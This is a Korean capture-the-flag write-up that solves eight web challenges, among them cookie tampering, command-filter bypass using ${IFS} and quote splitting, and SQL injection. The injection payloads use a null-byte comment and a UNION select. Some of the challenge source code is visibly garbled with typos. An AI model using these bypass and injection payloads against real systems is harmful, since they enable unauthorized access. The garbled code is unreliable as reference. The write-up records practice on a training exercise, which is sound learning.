1. Annotation

문제 링크로 이동해서 개발자 도구를 열어 요소를 살펴보면 flag가 숨어있다.

2. New Post

```
import requests
r = requests.post("http://web.isangxcaution.xyz:20476")
print(r.text)
```

문제 사이트에 post 방식으로 요청을 보내고 결과를 받아오면 flag가 보인다.

Flag is IxC{post_does_not_mean_writing}

3. NewJeans

```
from flask import Flask, request, render_template, make_response, Response
app = Flask(__name__)
try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = 'lxC{*** REDUCTED ***}'
@app.route('/')
def index():
    resp = make_response(render_template('index.html', text="Can you get the correct answer?"))
    resp.set_cookie('answer', 'no')
    cookie = request.cookies.get('cookie', None)

if cookie:
    if cookie == "Yammy":
        resp = make_response(render_template('index.html', text=f'Congratulations! flag is {FLAG}'))
    resp.set_cookie('answer', 'yes')
    return resp

app.run(host='0.0.0.0', port=8282)
```

"cookie"라는 이름에 Yammy라는 값을 가진 cookie가 있으면 flag를 준다.

이름	값
PHPSESSID	39a676dad71e79bf8f
answer	yes
cookie	Yammy
session	6b4f883b-d03f-45f2
admin	

개발자 도구를 열어 값을 넣어주고 새로고침하면 flag가 나온다.

Congratulations! flag is IxC{c00k13_15_d3l1c10u5!}

4. Baby shell

Linux Command Practice Ping Wget Curl

Linux Shell Command

리눅스에는 다양한 명령어들이 존재합니다. ping, wget, curl 명령어를 실행해 보세요.

문제 사이트에 들어가면 ping, wget, curl 목록이 있고, 들어가면 각각의 리눅스 shell 명령에 대한 설명과 실습을 해볼 수 있다.

이 중 wget으로 flag파일을 받아와서 flag를 얻었다.

wget http://web.isangxcaution.xyz:20400/flag.txt

```
--2023-01-15 13:07:17-- http://wget/
Resolving wget (wget)... falled: Temporary failure in name resolution.
wget: unable to resolve host address 'wget'
--2023-01-15 13:07:22-- http://web.isangxcaution.xyz:20400/flag.txt
Resolving web.isangxcaution.xyz (web.isangxcaution.xyz)... 101.101.218.209
connecting to web.isangxcaution.xyz (web.isangxcaution.xyz)]101.101.218.209|:20400... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44 [text/plain]
Saving to: 'flag.txt.9'

OK 100% 6.72M=05

2023-01-15 13:07:22 (6.72 MB/s) - 'flag.txt.9' saved [44/44]
FINISHED --2023-01-15 13:07:22--
Total wall clock time: 5.0s
Downloaded: 1 files, 44 in 0s (6.72 MB/s)
```

web.isangxcaution.xyz:20400/flag.txt.9로 이동하면 flag가 뜬다.

lxC{D0nt_mak3_us3r_t0_wr1t3_f1l3_t0_s3rv3r}

5. WhiteSpade

Welcome to Command room ♠

Command : submit	
[result]	
마찬가지로 shell 문제인 것 같다.	
필터링 : 공백, flag, cat, *, 등등	
Command : [ˈs]	submit

Dockerfile app.py docker-compose.yml flag.txt templates

명령어 중 한 글자를 싱글쿼터로 덮어도 잘 실행되는 것을 보니 이를 통해 우회할 수 있을 것 같다.

Space는 \${IFS}로 우회하였고 c'a't\${IFS}f'l'ag.txt와 같이 입력해주면 flag가 뜬다.

lxC{wh1t35pac3_can_b3_r3plac3d_w1th_IFS}

6. Sql Wrold1

```
<?php
include "./config.php";
$db = $link;
$pw = '';
if(isset($_GET['pw'])){
    $pw = $_GET['pw'];
    if(preg_match('/[[:space:]]/i', $_GET['pw'])) exit("No whitespace ~_~");
}
$qury = "select id from sql1 where id='admin' and pw='$pw'";
echo "<hr>query: <strong>{$query}</strong>hr>br>br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo $FLAGI;
highlight_file(__FILE__);
```

Sql injection 문제인데 preg_match를 통해 필터링이 적용되는 것 같다.

공백이 필터링 되고, --, /**/ 등의 주석도 필더링되는 것 같았다.

주석은 ;%00 로 우회하여 pw를 참 값으로 만들고 쿼리를 보내니 flag얻을 수 있었다.

?pw=%27or(1=1);%00

FLAG: IxC{Y0u_kn0w_h0w_t0_bypass_spac3!!}

7. Sql Wrold2

Flag가 sql2 db 에 없으니 기존 sql1에서 가져와야 한다. UNION을 써서 sql1로부터 flag를 가져오는 쿼리를 추가해 주었다.

?pw=1%27union(select(id)from(sql1)where(id=%27admin%27));%00

FLAG: IxC{Th3r3_was_actually_n0_data_in_db~}

8. Sql Wrold3

```
<?php
    include "./config.php";
    db = 1ink;
    $pw = isset($_GET['pw']) ? $_GET['pw'] : '';
    $query = "select id from sq[3 where id='admin' and pw='$pw'";
    echo "<hr>query : <strong>{$query}</strong×hr×br>";
    $result = @mysqli_fetch_array(mysqli_query($db,$query));
    if($result['id']){
        echo "<h2>Hello ~ Are you Admin?</h2>";
$pw = isset($_GET['pw']) ? addslashes($_GET['pw']) : '';
        $query = "select pw from sql3 where id='admin' and pw='$pw'";
        $result = @mysqli_fetch_array(mysqli_query($db,$query));
        if(($result['pw']) && ($result['pw'] == $pw)){
             echo $FLAG3;
            echo "<h2>Oh you are not Admin!!! :(</h2>br>";
    }
    highlight_file(__FILE__);
```

쿼리가 정상적으로 들어가면 Hellp ~ Are you Admin? 문구를 띄운다.

Blind sql injection 문제 인 것 같았고, 자동화 코드를 작성하여 flag를 얻었다.

FLAG: IxC{Bl1nd_sq1_1nj3ct10n_1s_funny~}

Pw = 07a89de3